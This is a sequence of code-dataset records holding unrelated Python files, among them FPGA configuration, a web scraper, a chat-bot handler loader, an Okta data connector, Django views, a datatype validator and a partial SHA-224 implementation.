roach_10gbe_src_ip_1\n\n # FPGA device names\n tengbe_device_0 = cfg[\"ROACH_10GbE_DEVNAME_0\"]\n tengbe_device_1 = cfg[\"ROACH_10GbE_DEVNAME_1\"]\n\n # something jkocz said\n sync_period = int(cfg[\"ROACH_SYNC_PERIOD\"])\n\n # connect to ROACH FPGA\n Dada.logMsg(2, dl, \"configureRoach: connecting to \"+roach_ip+\":\"+str(roach_port))\n fpga = corr.katcp_wrapper.FpgaClient(roach_ip, roach_port)\n time.sleep(0.5)\n if (fpga.is_connected()):\n Dada.logMsg(2, dl, \"configureRoach: connected\")\n else:\n Dada.logMsg(-2, dl, \"configureRoach: connection failed\")\n return (\"fail\", 0)\n\n # program bit stream\n Dada.logMsg(1, dl, \"programming FPGA with \" + roach_bof)\n Dada.logMsg(2, dl, \"configureRoach: programming FPGA with \" + roach_bof)\n fpga.progdev(roach_bof)\n Dada.logMsg(2, dl, \"configureRoach: programming done\")\n\n time.sleep(2.0)\n\n # start a TGTAP device for both 10GbE ports\n Dada.logMsg(2, dl, \"configureRoach: configuing 10GbE device 0: \")\n fpga.tap_start(tengbe_device_0,tengbe_device_0,roach_10gbe_src_mac_0,roach_10gbe_src_ip_0,roach_10gbe_src_port_0)\n time.sleep(0.5)\n gbe0_link = bool(fpga.read_int(tengbe_device_0))\n if gbe0_link:\n Dada.logMsg(2, dl, \"configureRoach: 10GbE device 0 now active\")\n else:\n Dada.logMsg(-1, dl, \"configureRoach: 10GbE device 0 not active\")\n \n Dada.logMsg(2, dl, \"configureRoach: configuing 10GbE device 1: \")\n fpga.tap_start(tengbe_device_1,tengbe_device_1,roach_10gbe_src_mac_1,roach_10gbe_src_ip_1,roach_10gbe_src_port_1)\n time.sleep(0.5)\n gbe1_link = bool(fpga.read_int(tengbe_device_1))\n if gbe0_link:\n Dada.logMsg(2, dl, \"configureRoach: 10GbE device 1 now active\")\n else:\n Dada.logMsg(-1, dl, \"configureRoach: 10GbE device 1 not active\")\n\n \n fpga.write_int('ip_ctr_reg_num_ips', 2); \n fpga.write_int('ip_ctr_reg_ip1', roach_10gbe_dest_ip_0); \n fpga.write_int('ip_ctr_reg_ip2', roach_10gbe_dest_ip_1); \n fpga.write_int('ip_ctr_reg_port1', roach_10gbe_dest_port_0); \n fpga.write_int('ip_ctr_reg_port2', roach_10gbe_dest_port_1); \n fpga.write_int('reg_sync_period', sync_period)\n \n Dada.logMsg(2, dl, \"configureRoach: returning ok\")\n return (\"ok\", fpga)\n\n###############################################################################\n#\n# arm roach to begin start of data\n#\ndef armRoach(dl, fpga):\n fpga.write_int('reg_arm',0)\n fpga.write_int('reg_arm',1)\n return \"ok\"\n\n","sub_path":"caspsr/scripts/Caspsr.py","file_name":"Caspsr.py","file_ext":"py","file_size_in_byte":4287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"94061772","text":"from numpy import *\nfrom pandas import *\nfrom bs4 import BeautifulSoup\nimport urllib.request\n\ncategories = [\"Scotch\", \"Rye\", \"Tennessee\", \"Bourbon\"]\n\nlinks_list = []\ndata_list = []\n\n# begin for loop to get whiskey links\nfor category in categories:\n\n # 4 pages of Tennessee\n # 5 pages of Scotch and Rye\n # 25 pages of Bourbon\n if category == \"Tennessee\":\n page_num = 4\n elif category == 'Rye' or category == 'Scotch':\n page_num = 5\n else:\n page_num = 25\n\n for page in range(page_num):\n \n url ='http://www.bottlebluebook.com/type/' + str(category) + '?page=' + str(page)\n\n # parse HTML\n page = urllib.request.urlopen(url)\n soup = BeautifulSoup(page.read())\n\n # find links\n links = soup.find_all('a',class_='listings_title')\n\n # add to list\n for link in links:\n links_list.append(link['href'])\n\n# start loop to open whiskey links and get data\nfor link in range(links_list):\n \n # open link\n url = link\n \n # parse HTML\n page = urllib.request.urlopen(url)\n soup = BeautifulSoup(page.read())\n \n # get biographical data about liquor\n text = soup.find(id = 'bottle_heading').get_text(\"|\", strip = True)\n \n # get transaction data about liquor\n trans = soup.find(id = 'item_column_right').get_text('|', strip = True)\n \n # clean output\n trans = trans.split('Transactions', 1)[0] + 'Transactions' # remove everything to the right of 'transactions'\n trans = trans.split('price', 1)[1] # remove everything to left of 'percent change'\n trans = trans[1:]\n\n tot = str(text) + '|' + str(trans) # concatenate strings\n\n data_list.append(tot)\n\n#### Cleaning data section ####\n\n# Too many '|' in some places.\ndat = ([s.replace('||', '|') for s in data_list])\n\n# Remove column headers\ndat = ([s.replace('Type|', '') for s in dat])\ndat = ([s.replace('Bottled|', '') for s in dat])\ndat = ([s.replace('Age|', '') for s in dat])\ndat = ([s.replace('Proof|', '') for s in dat])\ndat = ([s.replace('Size|', '') for s in dat])\ndat = ([s.replace('Owner|', '') for s in dat])\ndat = ([s.replace('Producer|', '') for s in dat])\ndat = ([s.replace('Location|', '') for s in dat])\ndat = ([s.replace('Change|', '') for s in dat])\ndat = ([s.replace('Retail|', '') for s in dat])\ndat = ([s.replace('Transactions', '') for s in dat])\n\n# Create DataFrame\ndf = DataFrame(dat, columns=['title'])\n\n# Split data into each column\ns = df['title'].str.split('|').apply(Series, 1)\n\n# Rename columns\ns.columns = ['Title', 'Type', 'Bottled', 'Age', 'Proof', 'Size', 'Owner', 'Producer', 'Location', 'Change', 'Retail', 'Transaction', 'Remove1', 'Remove2']\n\n# Save as CSV\ns.to_csv('bluebook_data.csv')\n","sub_path":"bluebook_scraper.py","file_name":"bluebook_scraper.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"448444814","text":"#!/usr/bin/env python3\n# Copyright 2009-2017 BHG http://bw.org/\n\ndef main():\n infile = open('lines.txt', 'rt') # opening in read mode 'r' and text mode 't' -> this is default\n outfile = open('lines-copy.txt', 'wt') # this file doesn't exist yet, will be created in write mode and in text mode \n for line in infile:\n print(line.rstrip(), file=outfile) # use print to write the file\n print('.', end='', flush=True)\n outfile.close() # data may not be all written by the time the main function end, so do this to prevent any data loss\n infile.close()\n print('\\ndone.')\n\nif __name__ == '__main__': main()\n\n# rstrip() used to rmove line endinges from the file. \n# print('.', end='',flush=True) -> end='' prevents a new line after each dot, flush -> flushes output buffer -> on some OS, outputer buffer is flushed\n# with print function, able to strip line endings\n# if file is from a different operating system with different line endings,\n# - this serves to translate those line endings into the correct one for this\n# - operating system","sub_path":"Python/Ex_Files_Python_EssT/Exercise Files/Chap12/copy-text-working.py","file_name":"copy-text-working.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"377552287","text":"import os\nimport chatexchange6\nimport OptionsReader\nimport sys\nimport re\nimport Handler\nimport time\n\nhandlers = []\n\n\ndef stop(code):\n print(\"\\nBot stopped\")\n print(\"Starting bot_stop stage\")\n exit_highest_sleep_time = 0\n global room\n for hand in handlers:\n try:\n sleep = hand.get_files().__getattribute__(\"on_stop\")(room)\n if sleep is not None and int(sleep) > exit_highest_sleep_time:\n exit_highest_sleep_time = int(sleep)\n except:\n print(\"[WARN] on_stop event handler not found for \" + hand.get_files().__name__)\n import time\n print(exit_highest_sleep_time)\n time.sleep(exit_highest_sleep_time)\n file = open(\".botstate\", \"w+\")\n file.write(\"exit\\n\")\n sys.exit(code)\n\n\ndef find_value(value_name, file_settings):\n value_name = value_name.replace(\" \", \"\")\n found_in_file = value_name in file_settings\n found_in_args = '-' + value_name in sys.argv\n if found_in_args:\n pos = sys.argv.index('-' + value_name) + 1\n try:\n value = sys.argv[pos]\n except IndexError:\n print(\"Not enough arguments for \" + value_name + \"!\")\n value = \"\"\n elif found_in_file:\n value = file_settings[value_name]\n else:\n value = \"\"\n return value\n\n\ndef start(my_room, client):\n global command_prefix\n global __command_regex__\n global room\n room = my_room\n write = OptionsReader.load_properties(\"bot_settings.ini\")\n if find_value(\"chat_prefix\", write) == \"\":\n write.update({\"chat_prefix\": \"!!/\"})\n OptionsReader.set_properties(\"bot_settings.ini\", write)\n command_prefix = \"!!/\"\n else:\n command_prefix = find_value(\"chat_prefix\", write)\n __command_regex__ = re.compile(command_prefix.replace(\"\\\\\", \"\\\\\\\\\") + \"(\\w+) ?(.+)?\")\n try:\n os.mkdir(\"handlers\")\n # DAMMIT PYTHON2\n open(\"handlers/__init__.py\", \"w+\")\n except:\n pass\n files = [f for f in os.listdir(\"handlers\") if os.path.isfile(os.path.join(\"handlers\", f))]\n global handlers\n for i in range(len(files)):\n if files[i].endswith(\".py\"):\n exec(\"from handlers import \" + files[i][0:len(files[i]) - 3])\n try:\n command_list = eval(files[i][0:len(files[i]) - 3] + \".commands\")\n handler = Handler.Handler(command_list, command_prefix, eval(files[i][0:len(files[i]) - 3]))\n except AttributeError as e:\n continue\n handlers.append(handler)\n print(\"Found handler in handlers/\" + files[i])\n print(\"Starting bot_start stage.\")\n for handler in handlers:\n try:\n handler.get_files().__getattribute__(\"on_start\")(my_room)\n except:\n print(\"[WARN] on_start event handler not found for \" + handler.get_files().__name__)\n my_room.watch(watcher)\n if len(handlers) == 0:\n print(\"\\x1b[31m\\x1b[1mWARNING:\\x1b[0m\\x1b[1m There are no handlers! So, I'm useless!\\x1b[0m\")\n\n\ndef log_exception_while_running_command(exception, handler_name, command_name, command_args):\n time_nice = time.strftime('[%Z]: %a %d %B %Y at %H:%M:%S %p: ')\n with open(\"bot_log.log\", \"a+\") as file:\n file.write(time_nice + \"Error while attempting to run command \" + command_name + \" with arguments \" +\n (\"[]\" if command_args is None else str(command_args)) +\n \". The handler was \" + handler_name +\n \". This is the exception details: \\n\")\n file.write(\" \" + ''.join(exception.args) + \"\\n\")\n line = \"\"\n for i in range(30):\n line += \"-\"\n file.write(line + \"\\n\")\n file.close()\n\n\ndef watcher(event, client):\n global handlers\n for handler in handlers:\n try:\n handler.on_event(client, event.room, event, event.message)\n except AttributeError:\n continue\n if isinstance(event, chatexchange6.events.MessagePosted):\n global command_prefix\n global __command_regex__\n if event.message.content_source.startswith(command_prefix):\n command_parts = __command_regex__.split(event.message.content_source)\n if len(command_parts) == 1 or event.message.content_source.startswith('...'):\n return\n handlers_found = 0\n for handler in handlers:\n # try:\n if command_parts[1] in handler.get_commands():\n command_handler = handler.get_files().__getattribute__(command_parts[1])\n try:\n to_send = str(command_handler(command_parts[2], event.message, event, event.room, client))\n except Exception as e:\n event.message.reply(\"An error occurred during processing of the command.\"\n \" It will be logged. Owner, please check the log.\")\n log_exception_while_running_command(e, handler.get_files().__name__, command_parts[1],\n command_parts[2])\n handlers_found += 1\n continue\n if to_send is None or to_send.strip() == \"\":\n event.message.reply(\"[:\" + str(event.message.id) + \"] \")\n handlers_found += 1\n continue\n if len(to_send) > 500:\n event.message.reply(\"Message length is \" + str(len(to_send)) +\n \" chars. Only the first 500 chars will be sent.\")\n event.message.reply(to_send[0:498 - len(str(event.message.id))])\n handlers_found += 1\n # except AttributeError as e:\n # print(\"Error\")\n # print(e)\n # continue\n if handlers_found == 0:\n event.message.reply(\"Command not found.\")\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":6139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"86106385","text":"#\n# Copyright (c) 2021 Airbyte, Inc., all rights reserved.\n#\n\n\nfrom abc import ABC, abstractmethod\nfrom typing import Any, Iterable, List, Mapping, MutableMapping, Optional, Tuple\nfrom urllib import parse\n\nimport pendulum\nimport requests\nfrom airbyte_cdk.sources import AbstractSource\nfrom airbyte_cdk.sources.streams import Stream\nfrom airbyte_cdk.sources.streams.http import HttpStream\nfrom airbyte_cdk.sources.streams.http.auth import TokenAuthenticator\n\n\nclass OktaStream(HttpStream, ABC):\n page_size = 200\n\n def __init__(self, url_base: str, *args, **kwargs):\n super().__init__(*args, **kwargs)\n # Inject custom url base to the stream\n self._url_base = url_base\n\n @property\n def url_base(self) -> str:\n return self._url_base\n\n def next_page_token(self, response: requests.Response) -> Optional[Mapping[str, Any]]:\n # Follow the next page cursor\n # https://developer.okta.com/docs/reference/api-overview/#pagination\n links = response.links\n if \"next\" in links:\n next_url = links[\"next\"][\"url\"]\n parsed_link = parse.urlparse(next_url)\n query_params = dict(parse.parse_qsl(parsed_link.query))\n\n # Typically, the absence of the \"next\" link header indicates there are more pages to read\n # However, some streams contain the \"next\" link header even when there are no more pages to read\n # See https://developer.okta.com/docs/reference/api-overview/#link-header\n if \"self\" in links:\n if links[\"self\"][\"url\"] == next_url:\n return None\n\n return query_params\n\n return None\n\n def request_params(\n self,\n stream_state: Mapping[str, Any],\n stream_slice: Mapping[str, any] = None,\n next_page_token: Mapping[str, Any] = None,\n ) -> MutableMapping[str, Any]:\n return {\n \"limit\": self.page_size,\n **(next_page_token or {}),\n }\n\n def parse_response(\n self,\n response: requests.Response,\n **kwargs,\n ) -> Iterable[Mapping]:\n yield from response.json()\n\n def backoff_time(self, response: requests.Response) -> Optional[float]:\n # The rate limit resets on the timestamp indicated\n # https://developer.okta.com/docs/reference/rate-limits\n if response.status_code == requests.codes.TOO_MANY_REQUESTS:\n next_reset_epoch = int(response.headers[\"x-rate-limit-reset\"])\n next_reset = pendulum.from_timestamp(next_reset_epoch)\n next_reset_duration = pendulum.utcnow().diff(next_reset)\n return next_reset_duration.seconds\n\n\nclass IncrementalOktaStream(OktaStream, ABC):\n @property\n @abstractmethod\n def cursor_field(self) -> str:\n pass\n\n def get_updated_state(self, current_stream_state: MutableMapping[str, Any], latest_record: Mapping[str, Any]) -> Mapping[str, Any]:\n lowest_date = str(pendulum.datetime.min)\n return {\n self.cursor_field: max(\n latest_record.get(self.cursor_field, lowest_date),\n current_stream_state.get(self.cursor_field, lowest_date),\n )\n }\n\n def request_params(self, stream_state=None, **kwargs):\n stream_state = stream_state or {}\n params = super().request_params(stream_state=stream_state, **kwargs)\n latest_entry = stream_state.get(self.cursor_field)\n if latest_entry:\n params[\"filter\"] = f'{self.cursor_field} gt \"{latest_entry}\"'\n return params\n\n\nclass Groups(IncrementalOktaStream):\n cursor_field = \"lastUpdated\"\n primary_key = \"id\"\n\n def path(self, **kwargs) -> str:\n return \"groups\"\n\n\nclass Logs(IncrementalOktaStream):\n cursor_field = \"published\"\n primary_key = \"uuid\"\n\n def path(self, **kwargs) -> str:\n return \"logs\"\n\n\nclass Users(IncrementalOktaStream):\n cursor_field = \"lastUpdated\"\n primary_key = \"id\"\n\n def path(self, **kwargs) -> str:\n return \"users\"\n\n\nclass SourceOkta(AbstractSource):\n def initialize_authenticator(self, config: Mapping[str, Any]) -> TokenAuthenticator:\n return TokenAuthenticator(config[\"token\"], auth_method=\"SSWS\")\n\n def get_url_base(self, config: Mapping[str, Any]) -> str:\n return parse.urljoin(config[\"base_url\"], \"/api/v1/\")\n\n def check_connection(self, logger, config) -> Tuple[bool, any]:\n try:\n auth = self.initialize_authenticator(config)\n base_url = self.get_url_base(config)\n url = parse.urljoin(base_url, \"users\")\n\n response = requests.get(\n url,\n params={\"limit\": 1},\n headers=auth.get_auth_header(),\n )\n\n if response.status_code == requests.codes.ok:\n return True, None\n\n return False, response.json()\n except Exception:\n return False, \"Failed to authenticate with the provided credentials\"\n\n def streams(self, config: Mapping[str, Any]) -> List[Stream]:\n auth = self.initialize_authenticator(config)\n url_base = self.get_url_base(config)\n\n initialization_params = {\n \"authenticator\": auth,\n \"url_base\": url_base,\n }\n\n return [\n Groups(**initialization_params),\n Logs(**initialization_params),\n Users(**initialization_params),\n ]\n","sub_path":"airbyte-integrations/connectors/source-okta/source_okta/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":5426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"641722634","text":"import threading\n\nimport numpy\nfrom datetime import datetime\nfrom tensorflow.python.training.session_run_hook import SessionRunHook, SessionRunArgs\nimport os\n\nclass EvalResultsHook(SessionRunHook):\n\n def __init__(self, args_to_store, output_dir):\n self.args_to_store = [ args_to_store[i] for i in [5,6,7,8]]\n self.output_dir = output_dir\n os.makedirs(os.path.join(\"weights\", \"full_eval\"), exist_ok=True)\n\n\n def before_run(self, run_context): # pylint: disable=unused-argument\n return SessionRunArgs(self.args_to_store)\n\n def after_run(self, run_context, run_values):\n filename = datetime.now().strftime(\"%Y%m%d_%H%M%S_%f\")\n\n filename = os.path.join(\"weights\", \"full_eval\", filename+\".npy\")\n values = run_values.results\n Storage(filename, values).run()\n\n\nclass Storage(threading.Thread):\n def __init__(self, filename, values):\n self.filename = filename\n self.values = values\n threading.Thread.__init__(self)\n\n def run(self):\n try:\n with open(self.filename, 'wb') as f:\n amino_acid_preds = self.values[1]\n sorted = numpy.sort(amino_acid_preds, axis=2)\n score = sorted[:, :, -1] - sorted[:, :, 3]\n score = numpy.mean(score, axis=1)\n self.values[1] = score\n numpy.save(f, loss=self.values[0], score=self.values[1], acc=self.values[2], seq=self.values[3])\n print(\"Finished saving {} file\".format(self.filename))\n except Exception as e:\n print(\"Unexpected error while saving to numpy file:\", str(e))","sub_path":"eval_results_hook.py","file_name":"eval_results_hook.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"463507997","text":"\"\"\"Datatype validation module.\n\nProvides:\n `failures`: Returns list of a values validation failures.\n `is_valid`: Returns boolean value representing validity of a value.\n\"\"\"\n\nfrom collections import defaultdict\nfrom functools import partial\n\n\nclass BadDatatypeDefinitionError(Exception):\n \"\"\"Raised when trying to validate with a bad datatype definition.\"\"\"\n\n\ndef is_valid(datatype, value):\n \"\"\"Return boolean representing validity of `value` against `datatype`.\"\"\"\n return not failures(datatype, value)\n\n\ndef failures(datatype, value, path=''):\n \"\"\"Return list of failures (if any) validating `value` again `datatype`.\n\n Params:\n `datatype`: Datatype to validate value against. See README.markdown\n for examples.\n `value`: Value to validate\n `path`: Used internally for location of failures.\n\n Example:\n >>> failures('int', 'foo')\n ['expected int, got str']\n \"\"\"\n dt_type = type(datatype)\n val_type = type(value)\n fails = []\n\n # Primitives Validation\n if dt_type == str:\n datatype, options = _parse_primitive(datatype)\n req_type = _primitives[datatype]\n if value is None:\n if 'nullable' not in options:\n fails.append(_failure(path,\n 'unexpected null for non-nullable type'))\n elif val_type not in req_type:\n if datatype != 'str':\n for t in req_type:\n try:\n value = t(value)\n except TypeError:\n pass\n except ValueError:\n pass\n if type(value) not in req_type:\n fails.append(_failure(path,\n 'expected %s, got %s',\n req_type[0].__name__, val_type.__name__\n ))\n\n # Object Validation\n elif dt_type == dict:\n fails.extend(_validate_dictionary(datatype, value, path))\n\n # List Validation\n elif dt_type == list and len(datatype) == 1:\n subtype = datatype[0]\n for idx, subval in enumerate(value):\n subpath = _joinpaths(path, '[%d]' % idx)\n fails.extend(failures(subtype, subval, subpath))\n\n # Tuple Validation\n elif dt_type == list and len(datatype) > 1:\n for idx, subtype in enumerate(datatype):\n subpath = _joinpaths(path, '[%d]' % idx)\n try:\n fails.extend(failures(subtype, value[idx], subpath))\n except IndexError:\n fails.append(_failure(path,\n 'missing required value at index %d', idx))\n\n # Check for unexpected items\n fails.extend(_failure(path, 'unexpected value at index %d' % x)\n for x in xrange(len(datatype), len(value)))\n\n # The great undefined!\n else:\n raise BadDatatypeDefinitionError(datatype)\n\n return fails\n\n\ndef _validate_dictionary(datatype, value, path):\n val_type = type(value)\n\n if val_type not in (dict, defaultdict):\n return [_failure(path, 'expected dict, got %s', val_type.__name__)]\n\n fails = []\n wildcard = datatype.get('_any_', None)\n all_properties = set()\n for key, subtype in datatype.iteritems():\n if key == '_any_':\n continue\n key, options = _parse_dict_key(key)\n all_properties.add(key)\n subpath = _joinpaths(path, key, '.')\n try:\n fails.extend(failures(subtype, value[key], subpath))\n except (KeyError):\n if 'optional' not in options:\n fails.append(_failure(path,\n 'missing required property: \"%s\"', key\n ))\n\n if wildcard:\n # validate wildcard items\n for key, subvalue in value.iteritems():\n subpath = _joinpaths(path, key, '.')\n fails.extend(failures(wildcard, subvalue, subpath))\n else:\n # check for unexpected properties/keys\n fails.extend(_failure(path, 'unexpected property \"%s\"', x)\n for x in set(value.keys()) - all_properties)\n\n return fails\n\n\n_primitives = {\n 'int': (int,),\n 'float': (float,),\n 'str': (str, unicode),\n 'bool': (bool,)\n }\n\ndef _joinpaths(p1, p2, delim=None):\n return '%s%s%s' % (p1, delim, p2) if delim and p1 else '%s%s' % (p1, p2)\n\n\ndef _failure(path, error, *replacements):\n error = error % replacements\n return \"%s: %s\" % (path, error) if path else error\n\n\ndef _parse_name_options(key, possible_options):\n \"\"\"Pull dictionary key options from key and return both as tuple.\n\n Example:\n >>> _parse_name_options(\"optional foo\", ['optional'])\n ('foo', ['optional'])\n \"\"\"\n key_words = iter(key.split(' '))\n options = []\n for word in key_words:\n if word in possible_options and word not in options:\n options.append(word)\n else:\n return (' '.join([word] + list(key_words)), options)\n\n\n_parse_dict_key = partial(_parse_name_options, possible_options=['optional'])\n_parse_primitive = partial(_parse_name_options, possible_options=['nullable'])\n\n","sub_path":"datatype/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":5122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"303679546","text":"'''Exercise: Assignment-1'''\n# Write a Python function, factorial(n),\n#that takes in one number and returns the factorial of given number.\n\n# This function takes in one number and returns one number.\n\n\ndef factorial(num):\n '''\n n is positive Integer\n\n returns: a positive integer, the factorial of n.\n '''\n # Your code here\n temp = num\n if temp == 0:\n return 1\n if num == 1:\n return num\n return num * factorial(num-1)\ndef main():\n '''main'''\n a_1 = input()\n print(factorial(int(a_1)))\n\nif __name__ == \"__main__\":\n import sys\n sys.setrecursionlimit(25500)\n main()\n","sub_path":"3. CSPP1/day 7/p1/assignment1.py","file_name":"assignment1.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"407723518","text":"from django.shortcuts import render, get_object_or_404, HttpResponseRedirect\nfrom django.http import HttpResponseNotFound\nfrom .forms import AddItemForm\nfrom ShopList.models import ShoppingItem\n\n# Create your views here.\n\ndef index(request):\n shopping_items = ShoppingItem.objects.all()\n return render(request, 'base.html', {'shopping_items':shopping_items})\n\ndef add_item(request):\n if request.method ==\"POST\":\n form = AddItemForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect (\"/\")\n else:\n form = AddItemForm()\n\n return render(request, 'add_item.html', {'form': form})\n\ndef item_edit(request, pk):\n item = get_object_or_404(ShoppingItem, pk=pk)\n if request.method == \"POST\":\n form = AddItemForm(request.POST, instance=item)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect (\"/\")\n\n else:\n form = AddItemForm(instance=item)\n\n return render(request, 'item_edit.html', {'form':form})\n\ndef delete (request, pk):\n try:\n item = ShoppingItem.objects.get(pk=pk)\n item.delete()\n return HttpResponseRedirect(\"/\")\n except ShoppingItem.DoesNotExist:\n return HttpResponseNotFound(\"

Объект не найден!\")\n\n\n\n","sub_path":"ShopList/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"591855290","text":"\"\"\"\n\nGiven a tree, rearrange the tree in in-order so that the leftmost node in the tree is now the root of the tree,\nand every node has no left child and only 1 right child.\n\nExample 1:\nInput: [5,3,6,2,4,null,8,1,null,null,null,7,9]\n\n 5\n / \\\n 3 6\n / \\ \\\n 2 4 8\n / / \\\n1 7 9\n\nOutput: [1,null,2,null,3,null,4,null,5,null,6,null,7,null,8,null,9]\n\n 1\n \\\n 2\n \\\n 3\n \\\n 4\n \\\n 5\n \\\n 6\n \\\n 7\n \\\n 8\n \\\n 9\nNote:\n\nThe number of nodes in the given tree will be between 1 and 100.\nEach node will have a unique integer value from 0 to 1000.\n\n\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n def increasingBST_Slow(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: TreeNode\n \"\"\"\n\n seq = []\n stack = []\n stack.append(root)\n current = root\n while stack:\n if current:\n if current.left:\n stack.append(current.left)\n current = current.left\n else:\n current = stack.pop(len(stack)-1)\n seq.append(current.val)\n current = current.right\n if current:\n stack.append(current)\n\n res = []\n for i, _ in enumerate(seq):\n if i != len(seq) - 1:\n res.extend([seq[i], None])\n else:\n res.append(seq[i])\n return res\n\n def increasingBST(self, root):\n def inorder(node):\n if node:\n yield from inorder(node.left)\n yield node.val\n yield from inorder(node.right)\n\n ans = cur = TreeNode(None)\n for v in inorder(root):\n cur.right = cur = TreeNode(v)\n return ans.right\n\nif __name__=='__main__':\n n1 = TreeNode(1)\n n2 = TreeNode(2)\n n3 = TreeNode(3)\n n4 = TreeNode(4)\n n5 = TreeNode(5)\n n6 = TreeNode(6)\n n7 = TreeNode(7)\n n8 = TreeNode(8)\n n9 = TreeNode(9)\n\n n5.left = n3\n n5.right = n6\n n3.left = n2\n n3.right = n4\n n2.left = n1\n n5.right = n6\n n6.right = n8\n n8.left = n7\n n8.right = n9\n\n sol = Solution()\n print(sol.increasingBST(n5))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"algo/tree/increasing_order_search_tree.py","file_name":"increasing_order_search_tree.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"137922600","text":"from . import hashframe\n\nSHA_HashFrame = hashframe.SHA_HashFrame\nclass SHA224(SHA_HashFrame):\n \"\"\"\n Implements the SHA-224 Algorithm. SHA-224 only differs\n from SHA-256 in two respects. First SHA-224 uses a different\n set of seed values of H, which are predefined in the official\n specification. Second, SHA-224 computes the hash in the same way,\n using 8 state variables, but truncates the output at the end\n to 224 bits.\n \"\"\"\n\n def __init__(self, verbose=1):\n self.verbose = verbose\n\n # SHA-224 uses 512-bit blocks with 32-bit (int) word sizes\n self.block_size = 512\n self.word_size = 32\n \n # SHA-224 constants. These are arbitrary in the sense that they are\n # pre-defined in the official specification for the algorithm but \n # otherwise have no other significant mathematical meaning. These are needed\n # to generate the T1 values in the main hash computation\n constants = \"\"\"\n 428a2f98 71374491 b5c0fbcf e9b5dba5 3956c25b 59f111f1 923f82a4 ab1c5ed5\n d807aa98 12835b01 243185be 550c7dc3 72be5d74 80deb1fe 9bdc06a7 c19bf174\n e49b69c1 efbe4786 0fc19dc6 240ca1cc 2de92c6f 4a7484aa 5cb0a9dc 76f988da\n 983e5152 a831c66d b00327c8 bf597fc7 c6e00bf3 d5a79147 06ca6351 14292967\n 27b70a85 2e1b2138 4d2c6dfc 53380d13 650a7354 766a0abb 81c2c92e 92722c85\n a2bfe8a1 a81a664b c24b8b70 c76c51a3 d192e819 d6990624 f40e3585 106aa070\n 19a4c116 1e376c08 2748774c 34b0bcb5 391c0cb3 4ed8aa4a 5b9cca4f 682e6ff3\n 748f82ee 78a5636f 84c87814 8cc70208 90befffa a4506ceb bef9a3f7 c67178f2\n \"\"\"\n\n K = ['0x' + item for item in constants.split()]\n K = [int(item, 0) for item in K]\n self.K = K\n\n # Initial state variables for SHA-224. Like the constants, these are\n # pre-defined values in the official specification needed to seed the\n # hash values.\n H_init = [\"0xc1059ed8\", \"0x367cd507\", \"0x3070dd17\", \"0xf70e5939\", \"0xffc00b31\", \"0x68581511\", \"0x64f98fa7\", \"0xbefa4fa4\"]\n self.H0 = [int(item, 0) for item in H_init]\n self.H = [int(item, 0) for item in H_init]\n return\n\n\n def __preprocess__(self, message):\n \"\"\"\n Preprocesses the message by paddding it as appropriate to make the total length\n a multiiple of 512 bits and then splitting it into 512-bit blocks.\n \"\"\"\n verbose = self.verbose\n\n if (verbose > 1):\n print('[SHA-224] Beginning Preprocessing')\n\n padded_message_bytes = b''\n if type(message) == bytes:\n nbits = len(message) * 8\n\n if (verbose > 1):\n print('[SHA-224] Message Length: %d bits'%(nbits))\n\n # SHA-224 requires the word blocks to be exactly 512 bits long,\n # in addition to having the message length encoded at the end\n # of the message using 64 bits. Thus, we add 64 to the required\n # bit count for the message length, then round up to 512 bytes,\n # then pad the zeros and the '1' bit\n num_zeros = 448 - nbits - 1\n while num_zeros > self.block_size: num_zeros -= self.block_size\n while num_zeros < 0: num_zeros += self.block_size\n\n # The number of zeros to pad with is the smallest nonnegative solution\n # to l + 1 + k ≡ 448 mod 512, with l = nbits, the total number of bits in\n # the unpadded message.\n\n if (verbose > 1):\n print(\"[SHA-224] Adding a single '1' bit\")\n\n # The 448 comes from the fact that the last 64 bits in the last\n # padded block are reserved to hold the total length of the message.\n # Thus the maximum. (448 + 64 = 512). Thus, the maximum message size\n # that can be hashed with SHA-224 is 2^64 - 1 bits. Note that after\n # the end of the message, we always add a single '1' bit, which is\n # NOT included in the final 64 bits. The number of zeros is selected\n # such that the last fully padded block is 512 bytes long, of which the\n # last 64 are reserved.\n\n byte_array = list(message)\n byte_array.append(1 << 7)\n\n if (verbose > 1): print(\"[SHA-224] Padding %d Zeros\"%(num_zeros))\n for _ in range(int((num_zeros - 7) / 8)): byte_array.append(0)\n for item in list(nbits.to_bytes(8, 'big')): byte_array.append(item)\n padded_message_bytes = bytes(byte_array)\n\n\n\n nbits = len(padded_message_bytes) * 8\n blocks = []\n nblocks = int(nbits/self.block_size)\n\n if (verbose > 1):\n print('[SHA-224] New Input Length: %d bits'%(8 * len(list(byte_array))))\n print('[SHA-224] Number of %d-bit Blocks: %d'%(self.block_size, nblocks))\n\n # 